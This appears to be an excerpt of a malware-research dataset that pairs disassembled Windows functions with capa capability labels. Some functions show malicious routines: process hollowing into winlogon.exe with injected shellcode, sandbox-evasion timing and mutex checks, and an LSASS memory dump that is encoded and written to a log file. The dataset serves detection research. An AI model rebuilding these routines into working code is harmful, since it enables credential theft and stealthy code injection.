joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400017f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5c0
xor eax, eax
pxor xmm0, xmm0
xor r9d, r9d
xor r8d, r8d
mov rsi, rcx
mov ebx, edx
lea rdi, [rsp + 0x88]
mov ecx, 0xc
lea r12, [rsp + 0xf0]
lea rdx, str.winlogon.exe
mov qword [rsp + 0x84], 0
mov qword [rsp + 0xe0], 0
rep stosq qword [rdi], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x120], 0x10000b
mov dword [rsp + 0x80], 0x68
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001970
movsxd rbp, ebx
mov rcx, qword [rsp + 0x60]
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140001a08
mov qword [rsp + 0x58], 0
mov edx, ebx
mov rcx, rsi
call fcn.1400015e0
lea rax, [rsp + 0x58]
mov r9, rbp
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, ebx
mov rcx, rsi
mov ebp, eax
call fcn.1400015e0
test ebp, ebp
je 0x140001998
mov rcx, qword [rsp + 0x68]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400019e0
mov qword [rsp + 0x1e8], rdi
mov rcx, qword [rsp + 0x68]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400019c0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
add rsp, 0x5c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_create_process._Error:__d_n
mov edx, eax
call fcn.140001640
nop
add rsp, 0x5c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_write_shellcode._Error:__d_n
mov edx, eax
call fcn.140001640
nop
add rsp, 0x5c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_set_context._Error:__d_n
mov edx, eax
call fcn.140001640
jmp 0x140001985
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_get_context._Error:__d_n
mov edx, eax
call fcn.140001640
nop
add rsp, 0x5c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_allocate_memory._Error:__d_n
mov edx, eax
call fcn.140001640
nop
add rsp, 0x5c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001a30
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x420
lea rcx, str.WINDIR
call sub.msvcrt.dll_getenv
mov r9, rax
test rax, rax
je 0x140001ac0
lea rbx, [rsp + 0x20]
lea r8, str._s_system32kernel32.dll
mov edx, 0x400
mov rcx, rbx
call fcn.140001690
mov rcx, rbx
lea rdx, [0x14000b131]
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140001aa0
lea rcx, [0x14000b134]
call fcn.140001640
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov eax, 1
add rsp, 0x420
pop rbx
ret
lea rcx, [0x14000b148]
call fcn.140001640
xor eax, eax
add rsp, 0x420
pop rbx
ret
lea rcx, str._n
call fcn.140001640
xor eax, eax
jmp 0x140001aae

Function at 0x140001ad0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Get system information on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x58
lea rcx, str.fuyou.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001aed
call fcn.140001ad0
lea rcx, str.kernel.dll
call fcn.140001a30
test eax, eax
je 0x140001b80
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
mov ecx, 0x3e8
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rsi
sub eax, ebx
cmp eax, 0x3e7
jle 0x140001ba0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 1
jle 0x140001bb0
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov rcx, rax
test rax, rax
je 0x140001b4b
call sub.msvcrt.dll_free
pushfq
mov rax, 0x100
and qword [rsp], rax
popfq
xor ecx, ecx
lea r8, str.FakeMutex
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001b90
add rsp, 0x58
pop rbx
pop rsi
ret
call fcn.140001ad0
jmp 0x140001b01
call fcn.140001ad0
nop
add rsp, 0x58
pop rbx
pop rsi
ret
call fcn.140001ad0
jmp 0x140001b22
call fcn.140001ad0
jmp 0x140001b34
Function at 0x140001ce0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Get system information on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, rcx
mov esi, edx
lea rcx, str.fuyou.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001d09
mov edx, esi
mov rcx, rbx
call fcn.140001ce0
lea rcx, str.kernel.dll
call fcn.140001a30
test eax, eax
je 0x140001db0
mov rbp, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbp
mov ecx, 0x3e8
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbp
sub eax, edi
cmp eax, 0x3e7
jle 0x140001dd8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 1
jle 0x140001df0
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov rcx, rax
test rax, rax
je 0x140001d6f
call sub.msvcrt.dll_free
pushfq
mov rax, 0x100
and qword [rsp], rax
popfq
mov edx, 1
lea r8, str.FakeMutex
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, 1
cmp edx, 0xb7
je 0x140001dc0
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, esi
mov rcx, rbx
call fcn.140001ce0
jmp 0x140001d1d
mov edx, esi
mov rcx, rbx
call fcn.140001ce0
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, esi
mov rcx, rbx
call fcn.140001ce0
jmp 0x140001d42
mov edx, esi
mov rcx, rbx
call fcn.140001ce0
jmp 0x140001d58

Function at 0x1400021e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140009130
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140009130
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140002eb2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002f4a
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f110]
mov qword [rbp - 8], rax
jmp 0x140002f2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002f22
cmp qword [rbp - 0x10], 0
je 0x140002f22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002ee8
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002f4b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140003050
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003078
mov eax, 0
jmp 0x1400030c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400030a1
mov eax, 0
jmp 0x1400030c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400030c1
mov eax, 0
jmp 0x1400030c6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400030cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000314a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003141
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003141
mov rax, qword [rbp - 8]
jmp 0x14000315f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003114
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1800011a0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x58
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1800011c8
xor al, al
jmp 0x180001248
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x3c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x38], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x44], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x18000123b
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x180001248
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x58
ret
Function at 0x180001250
Capabilities:
Create process memory minidump
Enumerate processes
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x2f8
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0xb0], 0x238
lea rax, [0x180018ac4]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180001301
lea rdx, str.lsass.exe
mov rcx, qword [rsp + 0x70]
call fcn.180005a4c
test eax, eax
je 0x180001301
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x40], eax
jmp 0x1800012bf
call fcn.1800011a0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x180001355
mov eax, 0xffffffff
jmp 0x1800014a8
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [0x1800010b0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 2
xor r8d, r8d
mov edx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x58], 0
cmp dword [rsp + 0x50], 0
je 0x1800014a6
mov eax, dword [0x18001cce0]
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
mov rcx, rax
call fcn.180001514
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, str.haoqbn
mov qword [rsp + 0x90], rax
mov eax, dword [0x18001cce0]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [0x18001cce8]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x90]
mov edx, dword [0x18001cce0]
mov rcx, qword [rsp + 0x48]
call fcn.180001030
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.anz.log
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [0x18001cce0]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x2f8
pop rdi
pop rsi
ret
Function at 0x1800097c8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800097f8
xor eax, eax
jmp 0x1800098bb
mov rbp, rbx
cmp word [rax], si
je 0x18000981d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180009804
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180009800
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800096e8
movsxd r14, eax
test eax, eax
jne 0x18000985b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800097f1
mov rcx, r14
call fcn.180007c80
mov rdi, rax
test rax, rax
jne 0x180009874
xor ecx, ecx
call fcn.180007dbc
jmp 0x180009850
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800096e8
test eax, eax
jne 0x1800098a5
mov rcx, rdi
call fcn.180007dbc
jmp 0x1800098af
xor ecx, ecx
call fcn.180007dbc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000eff0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000f018
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000f018
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400d70a0]
mov dword [rax], 1
mov rax, qword [0x1400d70b0]
mov dword [rax], 1
mov rax, qword [0x1400d70c0]
mov dword [rax], 1
mov rax, qword [0x1400d7040]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140031440
Capabilities:
Query environment variable

Disassembly:
push r14
mov eax, 0x10080
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1400b3e30
sub rsp, rax
xor eax, eax
xor edx, edx
xor esi, esi
mov r14d, 0x28
movzx edi, byte [rcx]
mov word [rsp + 0x80], ax
mov r12, rcx
lea rbp, [rsp + 0x30]
lea r13, [rsp + 0x2e]
mov word [rsp + 0x30], dx
test dil, dil
je 0x1400314e9
nop dword [rax]
mov rax, r14
lea rbx, [rbp + rsi*2]
sub rax, rsi
cmp word [rbp + rsi*2], 0
je 0x1400314ae
nop dword [rax + rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x1400314a0
test rax, rax
je 0x1400c4d3e
mov rcx, rbx
add rsi, 1
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, r13
mov byte [rsp + 0x2e], dil
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.msvcrt.dll_mbstowcs
movzx edi, byte [r12 + rsi]
test dil, dil
jne 0x140031488
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, rbp
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140031518
mov rcx, rbx
call sub.msvcrt.dll__wcsdup
add rsp, 0x10080
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140031530
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
xor eax, eax
xor esi, esi
mov r13d, 0x28
movzx edi, byte [rcx]
mov word [rsp + 0x30], ax
mov rbp, rcx
mov r14, rdx
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x2e]
test dil, dil
je 0x1400315d1
nop word [rax + rax]
mov rax, r13
lea rbx, [r15 + rsi*2]
sub rax, rsi
cmp word [r15 + rsi*2], 0
je 0x140031596
nop word [rax + rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x140031588
test rax, rax
je 0x1400c4d44
mov rcx, rbx
add rsi, 1
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, r12
mov byte [rsp + 0x2e], dil
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.msvcrt.dll_mbstowcs
movzx edi, byte [rbp + rsi]
test dil, dil
jne 0x140031570
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140051da0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.140031440
test rax, rax
je 0x140051ed0
mov rdx, 0xffffffffffffffff
mov rcx, rax
lea r14, [rsp + 0x40]
mov r15d, 0x4e
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov rdi, r14
lea r12, [rsi + 0x28]
lea rbp, [rsp + 0x3e]
mov r13, rax
xor eax, eax
mov word [rsp + 0x40], ax
nop
mov rax, r12
mov rbx, rdi
sub rax, rsi
cmp word [rdi], 0
je 0x140051e1e
nop
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x140051e10
test rax, rax
je 0x1400c4dde
mov rcx, rbx
add rsi, 1
add rdi, 2
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, rbp
mov byte [rsp + 0x3e], r15b
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x3f], 0
call sub.msvcrt.dll_mbstowcs
movzx r15d, byte [rsi]
test r15b, r15b
jne 0x140051e00
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call qword [sym.imp.python312.dll_PyThreadState_Get]
mov rcx, qword [0x1400e8dc0]
mov rsi, rax
mov rax, qword [0x1400d71e0]
mov rbx, qword [rax + 0x1b8]
test rcx, rcx
je 0x140051f45
mov rdx, rbx
call fcn.14001fb40
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.140046030
mov rdx, qword [rbx]
test edx, edx
js 0x140051eb7
sub rdx, 1
mov qword [rbx], rdx
je 0x140051f2d
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1400e8688]
lea rsi, [0x1400e8688]
test bl, bl
je 0x140051ef0
mov rax, qword [0x1400e8690]
lea rsi, [0x1400e8690]
test rax, rax
jne 0x140051eb7
cmp byte [0x1400e88a2], 0
jne 0x140051f06
movzx ecx, bl
call fcn.140021790
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400e86a0]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x140051f6f
mov edx, dword [rax]
add edx, 1
je 0x140051eb7
mov dword [rax], edx
jmp 0x140051eb7
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [sym.imp.python312.dll__Py_Dealloc]
mov rax, qword [rsp + 0x28]
jmp 0x140051eb7
mov rcx, qword [0x1400e8d38]
mov rdi, qword [rax + 0x1a8]
test rcx, rcx
je 0x140051f7a
mov rdx, rdi
call fcn.14001fb40
mov qword [0x1400e8dc0], rax
mov rcx, rax
jmp 0x140051e8e
call qword [sym.imp.python312.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x1400ced23]
call qword [sym.imp.python312.dll_PyImport_ImportModule]
mov qword [0x1400e8d38], rax
mov rcx, rax
test rax, rax
je 0x1400c4dde
jmp 0x140051f58
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
Function at 0x1400b0610
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400e8669], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x1400b0698
lea rdx, [0x1400d325a]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400b0700
mov rbx, qword [0x1400e8520]
jmp 0x1400b0655
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x1400b0650
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.14009d750
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1400e8520], rax
mov ebx, dword [rax]
mov qword [0x1400e8520], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1400e8520], rdx
call fcn.1400af740
cmp eax, ebx
jne 0x1400b0768
mov byte [0x1400e8669], 1
jmp 0x1400b062c
cmp byte [0x1400e8668], 0
jne 0x1400b0643
mov rbx, qword [sym.imp.python312.dll_PyDict_New]
call rbx
mov qword [0x1400e8fc8], rax
call rbx
mov qword [0x1400e8fc0], rax
call rbx
mov qword [0x1400e8fb8], rax
call rbx
mov qword [0x1400e8fb0], rax
call rbx
mov qword [0x1400e8fa8], rax
call rbx
mov qword [0x1400e8fa0], rax
call rbx
mov qword [0x1400e8f98], rax
call rbx
mov byte [0x1400e8668], 1
mov qword [0x1400e8f90], rax
jmp 0x1400b0643
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1400b2b10
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400c4290
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400c4290
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop